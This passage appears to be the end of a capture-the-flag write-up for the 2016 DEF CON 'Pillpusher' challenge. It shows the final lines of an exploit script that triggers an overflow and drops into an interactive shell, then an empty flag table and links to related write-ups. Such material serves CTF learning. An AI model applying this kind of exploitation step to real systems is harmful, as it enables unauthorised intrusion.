AddPatient("test")
#sleep(20)
AddScript("lazenca0x0","1","test",[pillname,pillname,overflow])
p.recv()
p.interactive()
Flag
| Flag | 
|---|
Related Site
- https://github.com/CH1M4C/CTF_Writeup/tree/master/2016/Defcon/Pillpusher
- https://github.com/DaramG/ctf-writeup/blob/master/2016_defcon/pillpusher/solve.py